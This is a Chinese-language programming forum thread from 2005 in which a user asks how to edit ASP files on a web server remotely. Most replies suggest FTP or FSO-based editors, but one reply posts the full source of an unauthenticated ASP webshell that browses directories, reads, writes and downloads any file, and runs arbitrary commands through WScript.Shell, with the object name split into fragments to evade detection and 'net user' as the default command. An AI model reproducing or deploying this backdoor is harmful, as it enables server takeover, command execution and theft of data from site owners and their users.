如何远端维护asp代码

zhanghw_1229 2005-11-26 12:23:30
我要经常修改服务器上的asp源代码,请问在客户端用fso能否实现asp代码远程维护。
...全文
386 25 打赏 收藏 转发到动态 举报
写回复
用AI写文章
25 条回复
切换为时间正序
请发表友善的回复…
发表回复
nova1980 2005-11-27
  • 打赏
  • 举报
回复
楼主你的mail?
发mail到 novacn#gmail.com
# 换为@


我给你发一个,,以前也是在网上下载的,但现在却找不到了
竹林听雨2005 2005-11-27
  • 打赏
  • 举报
回复
SUB GetFolder(FolderName)
dim FileContent,FileNameString
set sl=server.createobject(CreateProgID(She,APP))
XA = FolderName
if (XA <> "") then
set fod1=sl.namespace(XA)
set foditems=fod1.items
for each co in foditems
If co.isfolder Then response.write "<font color=#FCC000>[</font> <a href=""?DirName=" & co.path & """><font color=black>" & Replace(Replace(Right(co.path,Len(co.path) - Len(XA)),"\",""),"/","") & "</font></a><font color=#FCC000>]</font><br>" & VBCRLF
next
End If
End SUB

SUB GetFiler(FolderName)
set sl=server.createobject(CreateProgID(She,APP))
XA = FolderName
if (XA <> "") then
set fod1=sl.namespace(XA)
set foditems=fod1.items
for each co in foditems
If Not co.isfolder Then response.write "<font color=black>" & Replace(Replace(Right(co.path,Len(co.path) - Len(XA)),"\",""),"/","") & "</font> - <a href=#this Onclick=""DownLoad('" & Replace(co.path,"\","\\") & "')""><font color=#999900>Down</font></a> - <a href=#this Onclick=""GetFileContent('" & Replace(co.path,"\","\\") & "')""><font color=#999900>Edit</font></a> - <font color=#0099FF>" & cstr(co.size/1024) & "</font> </a>KB<br>" & VBCRLF
next
End If
End SUB


SUB Main()
If Trim(Request("DirName")) = "" Then
LocDirName = SERVER.MapPath(".")
Else
LocDirName = Trim(Request("DirName"))
End If

If Right(LocDirName,1) = ":" Then LocDirName = LocDirName & "\"

RootDirName = Replace(Left(LocDirName,3),"\","\\")
ParentDirName = ""
If Instr(LocDirName,"\") And Right(LocDirName,2) <> ":\" Then
DirNameArray = Split(LocDirName,"\")
ParentDirName = Left(LocDirName,Len(LocDirName) - Len(DirNameArray(Ubound(DirNameArray))))
If Right(ParentDirName,1) = "\" And Right(ParentDirName,2) <> ":\" Then ParentDirName = Left(ParentDirName,Len(ParentDirName) - 1)
ParentDirName = Replace(ParentDirName,"\","\\")
End If
%>
<body>
<div id="MaoDiv" style="background: #F7FBFF;position: absolute; width:250px; height:60px; left:100; top:40; display:none; z-index:9;border-right: 1px solid #e6f0ff;border-left: 1px solid #e6f0ff;border-top: 1px solid #e6f0ff;border-bottom: 1px solid #e6f0ff;"></div>
<table border=0 Align=center width=758 cellspacing="0" cellpadding="3">
<tr><td colspan=2 height=25>
<font style="font-size:12px" face=Arial><b><%=Request.ServerVariables("server_name")%></b></font>
</td></tr>
<tr><td colspan=2 height=5 bgcolor=#89b7f0></td></tr>
<tr>
<td valign=top bgcolor=#F6F6F6 width=35% style="border-right: 1px solid #e6f0ff;">
PATH - <font color=blue><%=LocDirName%></font> <br><font color=#999999 style="cursor:hand" onclick="ChangeDir()">[CDIR]</font>
</td>
<td valign=top bgcolor=#F6F6F6 width=35% style="border-right: 1px solid #e6f0ff;">
<input type="text" name="ok" id="ok" size=55 value="net user"><input type=button onclick=Run(ok.value) value=Run>
</td>
</tr>
<tr>
<td colspan=2 bgcolor=#0099FF height=2>
</td>
</tr>
<tr>
<td valign=top bgcolor=#F6F6F6 width=35% style="border-right: 1px solid #e6f0ff;">
<% If ParentDirName <> "" Then %><font color=#000000 style="cursor:hand" onclick="javascript:location.href='?DirName=<%=RootDirName%>';">Root</font><br><font color=#000000 style="cursor:hand" onclick="javascript:location.href='?DirName=<%=ParentDirName%>';">..</font><br>
<%
End If
Call GetFolder(LocDirName)
%>
</td>
<td width=65% Align=left valign=top>
<%Call GetFiler(LocDirName)%>
<table border=0 width=100% class="table2">
<tr id="OnlineView">
<td valign=top>
<div id="Load" style="display:none"><br>Loadding...</div>
<div id="Loaded" style="display:none"><iframe id="ListView" name="ListView" frameborder="0" scrolling="no" align=left valign="top" width="100%" height="100%"></iframe></div>
</td></tr></table>
</td>
</tr>
<tr><td colspan=2 height=5 bgcolor=#89b7f0></td></tr>
<tr>
</td>
<td colspan=2 Align=Right style="font-family:sans-serif,Verdana;font-size:11px;color:#999999">Power by Boyd</td>
</tr>
</table>
</body>
<%
End SUB
%>
<head>
<title>服务器地址:<%=Request.ServerVariables("server_name")%></title>
<script>
function GetFileContent(FileName){
parent.Load.style.display = 'block';
parent.Loaded.style.display = 'none';
ListView.location.href = '?Type=1&FileName=' + FileName;
}
function DownLoad(FileName){
ListView.location.href = '?Type=3&FileName=' + FileName;
}
function Run(cmd){
parent.Load.style.display = 'none';
parent.Loaded.style.display = 'block';
ListView.location.href = '?Type=4&ok=' + cmd;
}
function hide(){
Load.style.display = 'none';
}
function ChangeDir(){
if(MaoDiv.style.display=='block')
{
MaoDiv.style.display = 'none';}
else
{
MaoDiv.style.display = 'block';
MaoDiv.innerHTML = "<CENTER><br> <input type=text name=DirName id=DirName VALUE='c:\\'> <input type=button onclick=\'javascript:if(DirName.value!=\"\"){location.href=\"?DirName=\" + DirName.value;}\' value=GO> <font color=#999999 style=\'cursor:hand\' onclick=\'ChangeDir()\'>CLOSE</font></CENTER>";}

MaoDiv.style.posLeft = window.event.x - 100;
if(MaoDiv.style.posLeft < 0){
MaoDiv.style.posLeft = 0;
}
MaoDiv.style.posTop = window.event.y + document.body.scrollTop - 10;
}
</script>
<style type="text/css">
BODY,TD {
FONT-SIZE: <%if UCase(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"))="ZH-TW" then response.write "10pt" else response.write "11px" end if%>; FONT-FAMILY: sans-serif,Verdana,宋体
background-attachment: fixed;
background-repeat: repeat-y;
background-position: center;
}
Input {
font-family: "Verdana", "Arial";
font-size: <%if UCase(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"))="ZH-TW" then response.write "10pt" else response.write "12px" end if%>;
font-style: normal;
line-height: normal;
font-weight: normal;
font-variant: normal;
height: 18px;
border-right: 1px solid #e6f0ff;
border-left: 1px solid #e6f0ff;
border-top: 1px solid #e6f0ff;
border-bottom: 1px solid #e6f0ff;
}
A:link {
COLOR: #000000
}
A:visited {
COLOR: #000000
}
A:active {
COLOR: #000000
}
A {
COLOR: #000000; TEXT-DECORATION: none
}
A:hover {
COLOR: #495E6E
}
table{
border-bottom: 1px solid #e6f0ff;
border-top: 1px solid #e6f0ff;
border-left: 1px solid #e6f0ff;
border-right: 1px solid #e6f0ff;
padding:0px
}
.table2{
border-bottom: 0px;
border-top: 0px;
border-left: 0px;
border-right: 0px;
padding:0px
}
textarea {
font-family: "Arial";
font-size: <%if UCase(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"))="ZH-TW" then response.write "10pt" else response.write "12px" end if%>;
font-style: normal;
line-height: normal;
font-weight: normal;
font-variant: normal;
background:#e6f0ff;
border-bottom: 1px solid #e6f0ff;
border-top: 1px solid #e6f0ff;
border-left: 1px solid #e6f0ff;
border-right: 1px solid #e6f0ff;
padding:0px
}
</style>
</head>
竹林听雨2005 2005-11-27
  • 打赏
  • 举报
回复
<style type="text/css">
A{TEXT-DECORATION: none;}
A:hover{COLOR: #cc0000;}
A:link {color: #556600;}
A:visited {color: #666666;}
BODY {
font-size:9pt;
line-height:120%;
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
text-decoration: none;
scrollbar-face-color: #dbeedd;
scrollbar-highlight-color: #FFFFFF;
scrollbar-shadow-color: darkseagreen;
scrollbar-3dlight-color: #dbeedd;
scrollbar-arrow-color: darkseagreen;
scrollbar-track-color: #f3faf4;
scrollbar-darkshadow-color: #f3faf4;
background-image: url(images/bg.gif);
background-position: center;
}
TD {
font-size:9pt;line-height:120%;
FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif;}
TD A:link {
COLOR: #000000; TEXT-DECORATION: none}
TD A:visited {
COLOR: #000000; TEXT-DECORATION: none}
TD A:active {
COLOR: #000000; TEXT-DECORATION: none}
TD A:hover {
COLOR: #339900; TEXT-DECORATION: none}
</style>
<%
Const She = "Shell"
Const APP = "Application"

Dim CreateType
CreateType = Trim(Request("Type"))
If CreateType <> "" And IsNumeric(CreateType) Then
CreateType = Clng(CreateType)
Else
CreateType = 0
End If

SELECT CASE CreateType
CASE 0
Call Main()
CASE 1
Call ReadData()
CASE 2
Call WriteData()
CASE 3
Call DownLoad()
CASE 4
Call Run()
End SELECT
SUB CSTM(X)
Set X = Server.CreateObject("ADODB.Stream")
End SUB
SUB Run()
set oS=Server.CreateObject("WSc"+"ri"+"pt.sh"+"ell")
ok=trim(Request("ok"))
if ok<>"" then
set re=oS.exec (ok)
re=re.stdout.readall
response.write "<body onload='javascript:parent.OnlineView.height=this.document.body.scrollHeight+10;' leftmargin=0 topmargin=0>"
response.write "<textarea cols=64 rows=25>"&Re&"</textarea>"
end if
End SUB
SUB WriteData()
Dim FileName,X,FileContent,FileNameString

FileName = Trim(Request("FileName"))
If FileName = "" Then Exit SUB
FileContent = Trim(Request("Content"))
Call CSTM(X)
With X
.Type = 2
.MODE = 3
.OPEN
.Charset ="gb2312"
.WriteText FileContent
.Position = 2
.SaveToFile FileName,2
.Close
End With
Response.Write("<TABLE width=98% border=0 align=center cellpadding=5 cellspacing=0 bgcolor=#f6f6f6><TR><TD bgcolor=#e6f0ff><STRONG>File </STRONG></TD></TR><TR style='color:#FFFFFF'>")
Response.Write("<TD BGCOLOR=#7896CD HEIGHT=25><a href=""javascript:history.go(-1);""><font color=#FFFFFF>Return</font></a></TD></TR><TR><TD BGCOLOR=#FFFFFF HEIGHT=35><font color=#7896CD>Status:</font>Write Succ...</TD>")
Response.Write("</TR></TABLE>")
End SUB

SUB DownLoad()
Dim FileName,X,FileContent,FileNameString
FileName = Trim(Request("FileName"))
If FileName = "" Then Exit SUB
FileContent = Split(FileName,"\")
FileNameString = FileContent(UBound(FileContent))
Call UseStream(FileName,FileNameString)
End SUB

SUB ReadData()
Dim FileName,X,FileContent,FileType,Vtype
FileName = Trim(Request("FileName"))
If FileName = "" Then Exit SUB
Call CSTM(X)
With X
.Type = 2
.MODE = 3
.OPEN
.LOADFROMFILE FileName
If Trim(Request("ViewType")) = "" Then
.Charset ="gb2312"
.Position = 2
VType = "1"
Else
VType = ""
End If
FileContent = .ReadText()
.Close
End With
%>
<body onload="javascript:parent.OnlineView.height=this.document.body.scrollHeight+10;" leftmargin="0" topmargin="0">
<form name=form1 action="?Type=2&FileName=<%=FileName%>" method=Post><textarea Name=Content cols=90 rows=25><%=Server.HTMLEncode(FileContent)%></textarea><br><br>
<input type=button value=Save onclick="document.all.form1.submit();"> <input type=button value="Save As" name=add id=add onclick="addn()"> <input type=button value=ENCODE Onclick="javascript:location.href='?Type=1&FileName=<%=Replace(FileName,"\","\\")%>&ViewType=<%=VType%>';"></form>
<script language="javascript">
setTimeout('view()',500);
function view(){
parent.Load.style.display='none';
parent.Loaded.style.display='block';
parent.OnlineView.height=this.document.body.scrollHeight+10;
}
</script>
<script language="vbscript">
sub addn()
Filename = InputBox("Input Full Path With Filename","","<%=FileName%>")
If Filename <> "" Then
document.all.form1.action="?Type=2&FileName=" & Filename
document.all.form1.submit
End If
end sub
</script>
<%
End SUB

Function GetContentType(FlName)
Select Case GetFileTypeName(flName)
Case "asf"
GetContentType = "video/x-ms-asf"
Case "avi"
GetContentType = "video/avi"
Case "doc"
GetContentType = "application/msword"
Case "zip"
GetContentType = "application/zip"
Case "xls"
GetContentType = "application/vnd.ms-excel"
Case "gif"
GetContentType = "image/gif"
Case "jpg", "jpeg"
GetContentType = "image/jpeg"
Case "wav"
GetContentType = "audio/wav"
Case "mp3"
GetContentType = "audio/mpeg3"
Case "mpg", "mpeg"
GetContentType = "video/mpeg"
Case "rtf"
GetContentType = "application/rtf"
Case "htm", "html"
GetContentType = "text/html"
Case "txt"
GetContentType = "text/plain"
Case Else
GetContentType = "application/octet-stream"
End Select
End Function

Function GetFileTypeName(FldName)
If InStr(FldName, ".") > 0 Then
Dim FiNameStr
FiNameStr = Split(FldName,".")
GetFileTypeName = Lcase(FiNameStr(UBound(FiNameStr)))
Else
GetFileTypeName = "unknow"
End If
End Function

SUB UseStream(FileName,FileNameString)
Dim FileStream,File,FileContentType,IsAttachment
Call CSTM(FileStream)
FileStream.Open
FileStream.Type = 1
File = FileName
FileStream.LoadFromFile(File)
FileContentType = GetContentType(FileName)
IsAttachment = "attachment; "
Response.AddHeader "Content-Disposition", IsAttachment & "filename=" & FileNameString 'attachment;
Response.AddHeader "Content-Length", FileStream.Size
Response.Charset = "UTF-8"
Response.ContentType = FileContentType
Response.BinaryWrite FileStream.Read
Response.Flush

FileStream.Close
Set FileStream = Nothing
End SUB

Function CreateProgID(Var1,Var2)
CreateProgID = Var1 & "." & Var2
End Function

Function bin2str2(binstr)
Dim BytesStream,StringReturn
Call CSTM(BytesStream)
With BytesStream
.Type = 2
.Open
.WriteText binstr
.Position = 0
.Charset = "GB2312"
.Position = 2
StringReturn = .ReadText(.Size)
.close
End With
Set BytesStream = Nothing

bin2str2 = StringReturn

End Function
竹林听雨2005 2005-11-27
  • 打赏
  • 举报
回复
远程修改服务器上的ASP文件是绝对可以的,而且是在没有FTP等连接功能的时候可以正常使用,我曾经用过一段时间。

大家想想,现在一些黑客技术,就是利用服务器上的一些开放功能来远程修改服务器上的文件,包括ASP文件,象修改、删除等操作都是正常进行的。

当然我不是讲搞黑客,只是我们可以引用一下他们的现成技术,可以实现此功能。

但有前提:服务器上开放FSO、WScript.shell,要不然还是不可以的,还有,尽量和网管商量一下,因为这对服务器不好,容易引来黑客的攻击,一般是不允许的。
nowheart 2005-11-27
  • 打赏
  • 举报
回复
可以,
1、HTNL编缉器。FSO,打开ASP源文件,修改,保存为.ASP
2、3389远程序管理!
zhanghw_1229 2005-11-27
  • 打赏
  • 举报
回复
我的意思是当我要修改asp文件时,总的到服务器端把源代码拷贝过来,然后修改完后在拿移动硬盘考到服务器端,太麻烦了。
能不能在客户端修改呢。我有后台登陆的账号和密码?
谢谢大家了。
zhanghw_1229 2005-11-27
  • 打赏
  • 举报
回复
差不多是这个意思,有源代码吗?
谢谢了
moodboy1982 2005-11-26
  • 打赏
  • 举报
回复
不能·
远端的服务器,你既然可以把网页放上去,就可以维护呀。你不是有一个FTP的账号和密码吗?
登录上去,你就可以删除和上传了。否则你用FSO也不行。
nova1980 2005-11-26
  • 打赏
  • 举报
回复
不知道你是什么意思,

可以使用一个ASP的文件管理程序,传到远程,可以编辑文件的,

不知道是不是你要的东西,,
computerclass 2005-11-26
  • 打赏
  • 举报
回复
大家知道龟兔赛跑谁会赢?)->小朋友们都知道,你还不知道?
phyllis2001 2005-11-26
  • 打赏
  • 举报
回复
当然可以了~~
starwu 2005-11-26
  • 打赏
  • 举报
回复
可能用FSO组件做的!楼上某些人不懂,还说得这么肯定!
oldmht 2005-11-26
  • 打赏
  • 举报
回复
平时用这个编辑页面的,估计已经高手到不屑于用htmlEditor了 -_-!!
ryen_cn 2005-11-26
  • 打赏
  • 举报
回复
你用读取文本文件的方式,读取指定的源文件,+html编辑器,==ok
richardcheung 2005-11-26
  • 打赏
  • 举报
回复
肯定可以,你随便看个html编辑器就好了
cao5 2005-11-26
  • 打赏
  • 举报
回复
上面有几个不懂还说得那么肯定
czq9966(大家知道龟兔赛跑谁会赢?) 典型的一知半解,fso是什么都不知道

用fso或者adodb.stream两个都可以完成你的功能
EAGLEXU 2005-11-26
  • 打赏
  • 举报
回复
一般不行的
網站的各個文件夾都有操作權限的,否則數據庫就會被別人改了
Hiyeah2001 2005-11-26
  • 打赏
  • 举报
回复
可以
kouzhongling 2005-11-26
  • 打赏
  • 举报
回复
dw的ftp功能相当的方便
dw编辑然后点上传 就ok了 什么fso呀不嫌麻烦呀
再说dw的编辑功能又很强大方便
oldmht 2005-11-26
  • 打赏
  • 举报
回复
FSO = file system object,文件系统对象,他是asp中默认可用的一个对象,负责文件系统的读取写入等操作,结合ADOstream等对象,就能完成文件读取,修改,写入等基本操作,如果你没有Ftp和远程登陆的话,需要在服务器上编辑文件,最好就是用这些了

czq9966(大家知道龟兔赛跑谁会赢?) 用过asp后门么
加载更多回复(5)

28,391

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧